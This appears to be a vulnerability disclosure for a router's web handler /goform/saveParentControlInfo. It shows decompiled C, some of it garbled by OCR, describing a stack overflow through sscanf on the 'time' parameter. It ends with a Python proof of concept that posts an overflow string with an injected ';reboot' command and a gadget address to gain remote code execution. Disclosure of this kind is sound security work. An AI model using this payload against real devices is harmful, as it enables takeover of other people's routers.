

```
24
    memset(s, 0, sizeof(s));
25
    v19 = 0;
26
    memset(v21, 0, 0x100u);
    v2 = webgetvar(a1, (int)"deviceId", (int)&byte_1C2CF0);
    v3 = webgetvar(a1, (int)"deviceName", (int)&byte 1C2CF0);
28
29
    if ( *v3 )
      setdevicename(v3, v2);
30
    result = sub_60BE0(a1);
32
    if (!result)
33
      v5 = (char *)malloc(0x254u);
34
35
      memset(v5, 0, 0x254u);
      strcnv(v5 + 2 v2)
```

In the sub\_60BE0 function, the v12 variable is directly retrieved from the http request parameter time.

```
13 v2 = webgetvar(a1, (int)"time", (int)&byte 1C2CF0);
▶ 14 if ( *v2 )
 15 {
16
       v6 = (int)v2;
       memset(v10, 0, sizeof(v10));
17
       memset(v11, 0, 0x20u);
18
        _isoc99_sscanf(v6, "%[^-]-%s", v10, v11);
19
       if ( strcmp(v10, v11) )
20
21
       return 0;
22
       sub 29750(
 23
         a1,
         "HTTP/1.1 200 OK\nContent-type: text/plain; charset=utf-8\nPragma: no-cache\nCache-Cont
 24
 25
 26
         v8);
 27 }
```

Then v12 will be splice to stack by function sscanf without any security check, which causes stack overflow.

So by POSTing the page /goform/saveParentControlInfo with proper time, the attacker can easily perform a **Remote Code Execution** with carefully crafted overflow data.

## **POC**

The exploit of **Remote Code Execution**:

```
from pwn import*
import requests

url = "https://192.168.2.1/goform/saveParentControlInfo"

gadget = 0x37208
```

```
time = b"a" * 0x58
time += b";reboot" # command you want to execute
time += b"-"
time += b"b" * 0x34
time += p32(gadget)

r = requests.post(url, data = {"time":time},verify=False )
```